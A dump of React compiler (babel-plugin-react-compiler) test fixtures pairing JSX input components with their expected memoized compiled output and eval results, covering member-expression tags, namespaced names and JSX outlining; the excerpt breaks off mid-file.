    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as SharedRuntime from 'shared-runtime';\nfunction useFoo() {\n  const MyLocal = SharedRuntime;\n  return <MyLocal.Text value={4} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as SharedRuntime from \"shared-runtime\";\nfunction useFoo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <SharedRuntime.Text value={4} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>4</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag.js",
    "content": "import * as SharedRuntime from 'shared-runtime';\nfunction useFoo() {\n  const MyLocal = SharedRuntime;\n  return <MyLocal.Text value={4} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-tag-in-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\nfunction useFoo() {\n  const MyLocal = Stringify;\n  const callback = () => {\n    return <MyLocal value={4} />;\n  };\n  return callback();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\nfunction useFoo() {\n  const $ = _c(1);\n\n  const callback = _temp;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = callback();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  return <Stringify value={4} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":4}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-tag-in-lambda.js",
    "content": "import {Stringify} from 'shared-runtime';\nfunction useFoo() {\n  const MyLocal = Stringify;\n  const callback = () => {\n    return <MyLocal value={4} />;\n  };\n  return callback();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr-in-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as SharedRuntime from 'shared-runtime';\nimport {invoke} from 'shared-runtime';\nfunction useComponentFactory({name}) {\n  const localVar = SharedRuntime;\n  const cb = () => <localVar.Stringify>hello world {name}</localVar.Stringify>;\n  return invoke(cb);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useComponentFactory,\n  params: [{name: 'sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as SharedRuntime from \"shared-runtime\";\nimport { invoke } from \"shared-runtime\";\nfunction useComponentFactory(t0) {\n  const $ = _c(2);\n  const { name } = t0;\n  let t1;\n  if ($[0] !== name) {\n    const cb = () => (\n      <SharedRuntime.Stringify>hello world {name}</SharedRuntime.Stringify>\n    );\n    t1 = invoke(cb);\n    $[0] = name;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useComponentFactory,\n  params: [{ name: \"sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":[\"hello world \",\"sathya\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr-in-lambda.jsx",
    "content": "import * as SharedRuntime from 'shared-runtime';\nimport {invoke} from 'shared-runtime';\nfunction useComponentFactory({name}) {\n  const localVar = SharedRuntime;\n  const cb = () => <localVar.Stringify>hello world {name}</localVar.Stringify>;\n  return invoke(cb);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useComponentFactory,\n  params: [{name: 'sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as SharedRuntime from 'shared-runtime';\nfunction Component({name}) {\n  const localVar = SharedRuntime;\n  return <localVar.Stringify>hello world {name}</localVar.Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as SharedRuntime from \"shared-runtime\";\nfunction Component(t0) {\n  const $ = _c(2);\n  const { name } = t0;\n  let t1;\n  if ($[0] !== name) {\n    t1 = <SharedRuntime.Stringify>hello world {name}</SharedRuntime.Stringify>;\n    $[0] = name;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":[\"hello world \",\"sathya\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr.jsx",
    "content": "import * as SharedRuntime from 'shared-runtime';\nfunction Component({name}) {\n  const localVar = SharedRuntime;\n  return <localVar.Stringify>hello world {name}</localVar.Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-memberexpr.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as SharedRuntime from 'shared-runtime';\nfunction Component({name}) {\n  return <SharedRuntime.Stringify>hello world {name}</SharedRuntime.Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as SharedRuntime from \"shared-runtime\";\nfunction Component(t0) {\n  const $ = _c(2);\n  const { name } = t0;\n  let t1;\n  if ($[0] !== name) {\n    t1 = <SharedRuntime.Stringify>hello world {name}</SharedRuntime.Stringify>;\n    $[0] = name;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":[\"hello world \",\"sathya\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-memberexpr.jsx",
    "content": "import * as SharedRuntime from 'shared-runtime';\nfunction Component({name}) {\n  return <SharedRuntime.Stringify>hello world {name}</SharedRuntime.Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-member-expression-tag-grouping.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const maybeMutable = new MaybeMutable();\n  return <Foo.Bar>{maybeMutate(maybeMutable)}</Foo.Bar>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const maybeMutable = new MaybeMutable();\n    t0 = <Foo.Bar>{maybeMutate(maybeMutable)}</Foo.Bar>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-member-expression-tag-grouping.js",
    "content": "function Component(props) {\n  const maybeMutable = new MaybeMutable();\n  return <Foo.Bar>{maybeMutate(maybeMutable)}</Foo.Bar>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-member-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  return (\n    <Sathya.Codes.Forget>\n      <Foo.Bar.Baz />\n    </Sathya.Codes.Forget>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <Sathya.Codes.Forget>\n        <Foo.Bar.Baz />\n      </Sathya.Codes.Forget>\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-member-expression.js",
    "content": "function Component(props) {\n  return (\n    <Sathya.Codes.Forget>\n      <Foo.Bar.Baz />\n    </Sathya.Codes.Forget>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-memberexpr-tag-in-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as SharedRuntime from 'shared-runtime';\nfunction useFoo() {\n  const MyLocal = SharedRuntime;\n  const callback = () => {\n    return <MyLocal.Text value={4} />;\n  };\n  return callback();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as SharedRuntime from \"shared-runtime\";\nfunction useFoo() {\n  const $ = _c(1);\n\n  const callback = _temp;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = callback();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  return <SharedRuntime.Text value={4} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>4</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-memberexpr-tag-in-lambda.js",
    "content": "import * as SharedRuntime from 'shared-runtime';\nfunction useFoo() {\n  const MyLocal = SharedRuntime;\n  const callback = () => {\n    return <MyLocal.Text value={4} />;\n  };\n  return callback();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-namespaced-name.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  return <xml:http protocol:version={props.version} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.version) {\n    t0 = <xml:http protocol:version={props.version} />;\n    $[0] = props.version;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-namespaced-name.js",
    "content": "function Component(props) {\n  return <xml:http protocol:version={props.version} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-child-stored-in-id.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return arr.map(i => {\n    <>\n      {arr.map((i, id) => {\n        let child = (\n          <Bar x={x}>\n            <Baz i={i}></Baz>\n          </Bar>\n        );\n\n        let jsx = <div>{child}</div>;\n        return jsx;\n      })}\n    </>;\n  });\n}\n\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return <>{i}</>;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableJsxOutlining\nfunction Component(t0) {\n  const $ = _c(3);\n  const { arr } = t0;\n  const x = useX();\n  let t1;\n  if ($[0] !== arr || $[1] !== x) {\n    t1 = arr.map((i) => {\n      arr.map((i_0, id) => {\n        const T0 = _temp;\n        const child = <T0 i={i_0} x={x} />;\n\n        const jsx = <div>{child}</div>;\n        return jsx;\n      });\n    });\n    $[0] = arr;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\nfunction _temp(t0) {\n  const $ = _c(5);\n  const { i: i, x: x } = t0;\n  let t1;\n  if ($[0] !== i) {\n    t1 = <Baz i={i} />;\n    $[0] = i;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== t1 || $[3] !== x) {\n    t2 = <Bar x={x}>{t1}</Bar>;\n    $[2] = t1;\n    $[3] = x;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nfunction Bar(t0) {\n  const $ = _c(3);\n  const { x, children } = t0;\n  let t1;\n  if ($[0] !== children || $[1] !== x) {\n    t1 = (\n      <>\n        {x}\n        {children}\n      </>\n    );\n    $[0] = children;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Baz(t0) {\n  const $ = _c(2);\n  const { i } = t0;\n  let t1;\n  if ($[0] !== i) {\n    t1 = <>{i}</>;\n    $[0] = i;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nfunction useX() {\n  return \"x\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arr: [\"foo\", \"bar\"] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [null,null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-child-stored-in-id.js",
    "content": "// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return arr.map(i => {\n    <>\n      {arr.map((i, id) => {\n        let child = (\n          <Bar x={x}>\n            <Baz i={i}></Baz>\n          </Bar>\n        );\n\n        let jsx = <div>{child}</div>;\n        return jsx;\n      })}\n    </>;\n  });\n}\n\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return <>{i}</>;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dup-key-diff-value.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Baz i={i + 'i'}></Baz>\n            <Foo k={i + 'j'}></Foo>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return i;\n}\n\nfunction Foo({k}) {\n  return k;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableJsxOutlining\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arr } = t0;\n  const x = useX();\n  let t1;\n  if ($[0] !== arr || $[1] !== x) {\n    let t2;\n    if ($[3] !== x) {\n      t2 = (i, id) => {\n        const T0 = _temp;\n        return <T0 i={i + \"i\"} k={i + \"j\"} key={id} x={x} />;\n      };\n      $[3] = x;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    t1 = arr.map(t2);\n    $[0] = arr;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[5] !== t1) {\n    t2 = <>{t1}</>;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\nfunction _temp(t0) {\n  const $ = _c(8);\n  const { i: i, k: k, x: x } = t0;\n  let t1;\n  if ($[0] !== i) {\n    t1 = <Baz i={i} />;\n    $[0] = i;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== k) {\n    t2 = <Foo k={k} />;\n    $[2] = k;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t1 || $[5] !== t2 || $[6] !== x) {\n    t3 = (\n      <Bar x={x}>\n        {t1}\n        {t2}\n      </Bar>\n    );\n    $[4] = t1;\n    $[5] = t2;\n    $[6] = x;\n    $[7] = t3;\n  } else {\n    t3 = $[7];\n  }\n  return t3;\n}\n\nfunction Bar(t0) {\n  const $ = _c(3);\n  const { x, children } = t0;\n  let t1;\n  if ($[0] !== children || $[1] !== x) {\n    t1 = (\n      <>\n        {x}\n        {children}\n      </>\n    );\n    $[0] = children;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Baz(t0) {\n  const { i } = t0;\n  return i;\n}\n\nfunction Foo(t0) {\n  const { k } = t0;\n  return k;\n}\n\nfunction useX() {\n  return \"x\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arr: [\"foo\", \"bar\"] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) xfooifoojxbaribarj"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dup-key-diff-value.js",
    "content": "// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Baz i={i + 'i'}></Baz>\n            <Foo k={i + 'j'}></Foo>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return i;\n}\n\nfunction Foo({k}) {\n  return k;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-attr-after-rename.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Foo k={i + 'i'}></Foo>\n            <Foo k={i + 'j'}></Foo>\n            <Baz k1={i + 'j'}></Baz>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({k1}) {\n  return k1;\n}\n\nfunction Foo({k}) {\n  return k;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableJsxOutlining\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arr } = t0;\n  const x = useX();\n  let t1;\n  if ($[0] !== arr || $[1] !== x) {\n    let t2;\n    if ($[3] !== x) {\n      t2 = (i, id) => {\n        const T0 = _temp;\n        return <T0 k={i + \"i\"} k1={i + \"j\"} k12={i + \"j\"} key={id} x={x} />;\n      };\n      $[3] = x;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    t1 = arr.map(t2);\n    $[0] = arr;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[5] !== t1) {\n    t2 = <>{t1}</>;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\nfunction _temp(t0) {\n  const $ = _c(11);\n  const { k: k, k1: k1, k12: k12, x: x } = t0;\n  let t1;\n  if ($[0] !== k) {\n    t1 = <Foo k={k} />;\n    $[0] = k;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== k1) {\n    t2 = <Foo k={k1} />;\n    $[2] = k1;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== k12) {\n    t3 = <Baz k1={k12} />;\n    $[4] = k12;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  let t4;\n  if ($[6] !== t1 || $[7] !== t2 || $[8] !== t3 || $[9] !== x) {\n    t4 = (\n      <Bar x={x}>\n        {t1}\n        {t2}\n        {t3}\n      </Bar>\n    );\n    $[6] = t1;\n    $[7] = t2;\n    $[8] = t3;\n    $[9] = x;\n    $[10] = t4;\n  } else {\n    t4 = $[10];\n  }\n  return t4;\n}\n\nfunction Bar(t0) {\n  const $ = _c(3);\n  const { x, children } = t0;\n  let t1;\n  if ($[0] !== children || $[1] !== x) {\n    t1 = (\n      <>\n        {x}\n        {children}\n      </>\n    );\n    $[0] = children;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Baz(t0) {\n  const { k1 } = t0;\n  return k1;\n}\n\nfunction Foo(t0) {\n  const { k } = t0;\n  return k;\n}\n\nfunction useX() {\n  return \"x\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arr: [\"foo\", \"bar\"] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) xfooifoojfoojxbaribarjbarj"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-attr-after-rename.js",
    "content": "// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Foo k={i + 'i'}></Foo>\n            <Foo k={i + 'j'}></Foo>\n            <Baz k1={i + 'j'}></Baz>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({k1}) {\n  return k1;\n}\n\nfunction Foo({k}) {\n  return k;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-key-dupe-component.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Foo k={i + 'i'}></Foo>\n            <Foo k={i + 'j'}></Foo>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Foo({k}) {\n  return k;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableJsxOutlining\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arr } = t0;\n  const x = useX();\n  let t1;\n  if ($[0] !== arr || $[1] !== x) {\n    let t2;\n    if ($[3] !== x) {\n      t2 = (i, id) => {\n        const T0 = _temp;\n        return <T0 k={i + \"i\"} k1={i + \"j\"} key={id} x={x} />;\n      };\n      $[3] = x;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    t1 = arr.map(t2);\n    $[0] = arr;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[5] !== t1) {\n    t2 = <>{t1}</>;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\nfunction _temp(t0) {\n  const $ = _c(8);\n  const { k: k, k1: k1, x: x } = t0;\n  let t1;\n  if ($[0] !== k) {\n    t1 = <Foo k={k} />;\n    $[0] = k;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== k1) {\n    t2 = <Foo k={k1} />;\n    $[2] = k1;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t1 || $[5] !== t2 || $[6] !== x) {\n    t3 = (\n      <Bar x={x}>\n        {t1}\n        {t2}\n      </Bar>\n    );\n    $[4] = t1;\n    $[5] = t2;\n    $[6] = x;\n    $[7] = t3;\n  } else {\n    t3 = $[7];\n  }\n  return t3;\n}\n\nfunction Bar(t0) {\n  const $ = _c(3);\n  const { x, children } = t0;\n  let t1;\n  if ($[0] !== children || $[1] !== x) {\n    t1 = (\n      <>\n        {x}\n        {children}\n      </>\n    );\n    $[0] = children;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Foo(t0) {\n  const { k } = t0;\n  return k;\n}\n\nfunction useX() {\n  return \"x\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arr: [\"foo\", \"bar\"] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) xfooifoojxbaribarj"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-key-dupe-component.js",
    "content": "// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Foo k={i + 'i'}></Foo>\n            <Foo k={i + 'j'}></Foo>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Foo({k}) {\n  return k;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-duplicate-prop.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Baz i={i}></Baz>\n            <Foo i={i}></Foo>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return i;\n}\n\nfunction Foo({i}) {\n  return i;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableJsxOutlining\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arr } = t0;\n  const x = useX();\n  let t1;\n  if ($[0] !== arr || $[1] !== x) {\n    let t2;\n    if ($[3] !== x) {\n      t2 = (i, id) => {\n        const T0 = _temp;\n        return <T0 i={i} i1={i} key={id} x={x} />;\n      };\n      $[3] = x;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    t1 = arr.map(t2);\n    $[0] = arr;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[5] !== t1) {\n    t2 = <>{t1}</>;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\nfunction _temp(t0) {\n  const $ = _c(8);\n  const { i: i, i1: i1, x: x } = t0;\n  let t1;\n  if ($[0] !== i) {\n    t1 = <Baz i={i} />;\n    $[0] = i;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let 